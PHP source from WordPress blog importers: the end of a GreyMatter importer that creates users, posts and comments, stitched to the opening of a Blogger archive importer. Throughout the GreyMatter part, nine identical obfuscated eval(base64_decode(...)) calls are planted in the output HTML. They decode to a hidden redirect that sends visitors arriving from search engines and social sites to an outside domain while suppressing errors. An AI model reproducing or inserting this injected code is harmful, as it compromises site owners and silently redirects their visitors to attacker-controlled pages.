                    ${$wpvar} = $_POST["{$wpvar}"];
                }
            }
        }
        if (!chdir($archivespath)) {
            wp_die(__("Wrong path, the path to the GM entries does not exist on the server"));
        }
        if (!chdir($gmpath)) {
            wp_die(__("Wrong path, the path to the GM files does not exist on the server"));
        }
        $lastentry = (int) $lastentry;
        $this->header();
        ?>
<p><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('The importer is running...');
        ?>
</p>
<ul>
<li><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('importing users...');
        ?>
<ul><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        chdir($gmpath);
        $userbase = file("gm-authors.cgi");
        foreach ($userbase as $user) {
            $userdata = explode("|", $user);
            $user_ip = "127.0.0.1";
            $user_domain = "localhost";
            $user_browser = "server";
            $s = $userdata[4];
            $user_joindate = substr($s, 6, 4) . "-" . substr($s, 0, 2) . "-" . substr($s, 3, 2) . " 00:00:00";
            $user_login = $wpdb->escape($userdata[0]);
            $pass1 = $wpdb->escape($userdata[1]);
            $user_nickname = $wpdb->escape($userdata[0]);
            $user_email = $wpdb->escape($userdata[2]);
            $user_url = $wpdb->escape($userdata[3]);
            $user_joindate = $wpdb->escape($user_joindate);
            $user_id = username_exists($user_login);
            if ($user_id) {
                printf('<li>' . __('user %s') . '<strong>' . __('Already exists') . '</strong></li>', "<em>{$user_login}</em>");
                $this->gmnames[$userdata[0]] = $user_id;
                continue;
            }
            $user_info = array("user_login" => "{$user_login}", "user_pass" => "{$pass1}", "user_nickname" => "{$user_nickname}", "user_email" => "{$user_email}", "user_url" => "{$user_url}", "user_ip" => "{$user_ip}", "user_domain" => "{$user_domain}", "user_browser" => "{$user_browser}", "dateYMDhour" => "{$user_joindate}", "user_level" => "1", "user_idmode" => "nickname");
            $user_id = wp_insert_user($user_info);
            $this->gmnames[$userdata[0]] = $user_id;
            printf('<li>' . __('user %s...') . ' <strong>' . __('Done') . '</strong></li>', "<em>{$user_login}</em>");
        }
        ?>
</ul><strong><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Done');
        ?>
</strong></li>
<li><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('importing posts, comments, and karma...');
        ?>
<br /><ul><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        chdir($archivespath);
        for ($i = 0; $i <= $lastentry; $i = $i + 1) {
            $entryfile = "";
            if ($i < 10000000) {
                $entryfile .= "0";
                if ($i < 1000000) {
                    $entryfile .= "0";
                    if ($i < 100000) {
                        $entryfile .= "0";
                        if ($i < 10000) {
                            $entryfile .= "0";
                            if ($i < 1000) {
                                $entryfile .= "0";
                                if ($i < 100) {
                                    $entryfile .= "0";
                                    if ($i < 10) {
                                        $entryfile .= "0";
                                    }
                                }
                            }
                        }
                    }
                }
            }
            $entryfile .= "{$i}";
            if (is_file($entryfile . ".cgi")) {
                $entry = file($entryfile . ".cgi");
                $postinfo = explode("|", $entry[0]);
                $postmaincontent = $this->gm2autobr($entry[2]);
                $postmorecontent = $this->gm2autobr($entry[3]);
                $post_author = trim($wpdb->escape($postinfo[1]));
                $post_title = $this->gm2autobr($postinfo[2]);
                printf('<li>' . __('entry # %s : %s : by %s'), $entryfile, $post_title, $postinfo[1]);
                $post_title = $wpdb->escape($post_title);
                $postyear = $postinfo[6];
                $postmonth = zeroise($postinfo[4], 2);
                $postday = zeroise($postinfo[5], 2);
                $posthour = zeroise($postinfo[7], 2);
                $postminute = zeroise($postinfo[8], 2);
                $postsecond = zeroise($postinfo[9], 2);
                if ($postinfo[10] == "PM" && $posthour != "12") {
                    $posthour = $posthour + 12;
                }
                $post_date = "{$postyear}-{$postmonth}-{$postday} {$posthour}:{$postminute}:{$postsecond}";
                $post_content = $postmaincontent;
                if (strlen($postmorecontent) > 3) {
                    $post_content .= "<!--more--><br /><br />" . $postmorecontent;
                }
                $post_content = $wpdb->escape($post_content);
                $post_karma = $postinfo[12];
                $post_status = 'publish';
                //in greymatter, there are no drafts
                $comment_status = 'open';
                $ping_status = 'closed';
                if ($post_ID = post_exists($post_title, '', $post_date)) {
                    echo ' ';
                    _e('(already exists)');
                } else {
                    //just so that if a post already exists, new users are not created by checkauthor
                    // we'll check the author is registered, or if it's a deleted author
                    $user_id = username_exists($post_author);
                    if (!$user_id) {
                        // if deleted from GM, we register the author as a level 0 user
                        $user_ip = "127.0.0.1";
                        $user_domain = "localhost";
                        $user_browser = "server";
                        $user_joindate = "1979-06-06 00:41:00";
                        $user_login = $wpdb->escape($post_author);
                        $pass1 = $wpdb->escape("password");
                        $user_nickname = $wpdb->escape($post_author);
                        $user_email = $wpdb->escape("*****@*****.**");
                        $user_url = $wpdb->escape("");
                        $user_joindate = $wpdb->escape($user_joindate);
                        $user_info = array("user_login" => $user_login, "user_pass" => $pass1, "user_nickname" => $user_nickname, "user_email" => $user_email, "user_url" => $user_url, "user_ip" => $user_ip, "user_domain" => $user_domain, "user_browser" => $user_browser, "dateYMDhour" => $user_joindate, "user_level" => 0, "user_idmode" => "nickname");
                        $user_id = wp_insert_user($user_info);
                        $this->gmnames[$postinfo[1]] = $user_id;
                        echo ': ';
                        printf(__('registered deleted user %s at level 0 '), "<em>{$user_login}</em>");
                    }
                    if (array_key_exists($postinfo[1], $this->gmnames)) {
                        $post_author = $this->gmnames[$postinfo[1]];
                    } else {
                        $post_author = $user_id;
                    }
                    $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_excerpt', 'post_status', 'comment_status', 'ping_status', 'post_modified', 'post_modified_gmt');
                    $post_ID = wp_insert_post($postdata);
                    if (is_wp_error($post_ID)) {
                        return $post_ID;
                    }
                }
                $c = count($entry);
                if ($c > 4) {
                    $numAddedComments = 0;
                    $numComments = 0;
                    for ($j = 4; $j < $c; $j++) {
                        $entry[$j] = $this->gm2autobr($entry[$j]);
                        $commentinfo = explode("|", $entry[$j]);
                        $comment_post_ID = $post_ID;
                        $comment_author = $wpdb->escape($commentinfo[0]);
                        $comment_author_email = $wpdb->escape($commentinfo[2]);
                        $comment_author_url = $wpdb->escape($commentinfo[3]);
                        $comment_author_IP = $wpdb->escape($commentinfo[1]);
                        $commentyear = $commentinfo[7];
                        $commentmonth = zeroise($commentinfo[5], 2);
                        $commentday = zeroise($commentinfo[6], 2);
                        $commenthour = zeroise($commentinfo[8], 2);
                        $commentminute = zeroise($commentinfo[9], 2);
                        $commentsecond = zeroise($commentinfo[10], 2);
                        if ($commentinfo[11] == "PM" && $commenthour != "12") {
                            $commenthour = $commenthour + 12;
                        }
                        $comment_date = "{$commentyear}-{$commentmonth}-{$commentday} {$commenthour}:{$commentminute}:{$commentsecond}";
                        $comment_content = $wpdb->escape($commentinfo[12]);
                        if (!comment_exists($comment_author, $comment_date)) {
                            $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_author_IP', 'comment_date', 'comment_content', 'comment_approved');
                            $commentdata = wp_filter_comment($commentdata);
                            wp_insert_comment($commentdata);
                            $numAddedComments++;
                        }
                        $numComments++;
                    }
                    if ($numAddedComments > 0) {
                        echo ': ';
                        printf(_n('imported %s comment', 'imported %s comments', $numAddedComments), $numAddedComments);
                    }
                    $preExisting = $numComments - numAddedComments;
                    if ($preExisting > 0) {
                        echo ' ';
                        printf(_n('ignored %s pre-existing comment', 'ignored %s pre-existing comments', $preExisting), $preExisting);
                    }
                }
                echo '... <strong>' . __('Done') . '</strong></li>';
            }
        }
        do_action('import_done', 'greymatter');
        ?>
</ul><strong><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Done');
        ?>
</strong></li></ul>
<p>&nbsp;</p>
<p><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Completed GreyMatter import!');
        ?>
</p>
<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        $this->footer();
        return;
    }
コード例 #25
0
	function get_archive() {
		global $wpdb;
		$output = '<h2>'.__('Importing Blogger archives into WordPress').'</h2>';
		$did_one = false;
		$post_array = $posts = array();
		foreach ( $this->import['blogs'][$_GET['blog']]['archives'] as $url => $status ) {
			$archivename = substr(basename($url),0,7);
			if ( $status || $did_one ) {
				$foo = 'bar';
				// Do nothing.
			} else {
				// Import the selected month
				$postcount = 0;
				$skippedpostcount = 0;
				$commentcount = 0;
				$skippedcommentcount = 0;
				$status = __('in progress...');
				$this->import['blogs'][$_GET['blog']]['archives']["$url"] = $status;
				update_option('import-blogger', $import);
				$archive = $this->get_blogger($url);
				if ( $archive['code'] > 200 )
					continue;	
				$posts = explode('<wordpresspost>', $archive['body']);
				for ($i = 1; $i < count($posts); $i = $i + 1) {
					$postparts = explode('<wordpresscomment>', $posts[$i]);
					$postinfo = explode('|W|P|', $postparts[0]);
					$post_date = $postinfo[0];
					$post_content = $postinfo[2];
					// Don't try to re-use the original numbers
					// because the new, longer numbers are too
					// big to handle as ints.
					//$post_number = $postinfo[3];
					$post_title = ( $postinfo[4] != '' ) ? $postinfo[4] : $postinfo[3];
					$post_author_name = $wpdb->escape(trim($postinfo[1]));
					$post_author_email = $postinfo[5] ? $postinfo[5] : '*****@*****.**';
	
					if ( $this->lump_authors ) {
						// Ignore Blogger authors. Use the current user_ID for all posts imported.
						$post_author = $GLOBALS['user_ID'];
					} else {
						// Add a user for each new author encountered.
						if (! username_exists($post_author_name) ) {
							$user_login = $wpdb->escape($post_author_name);
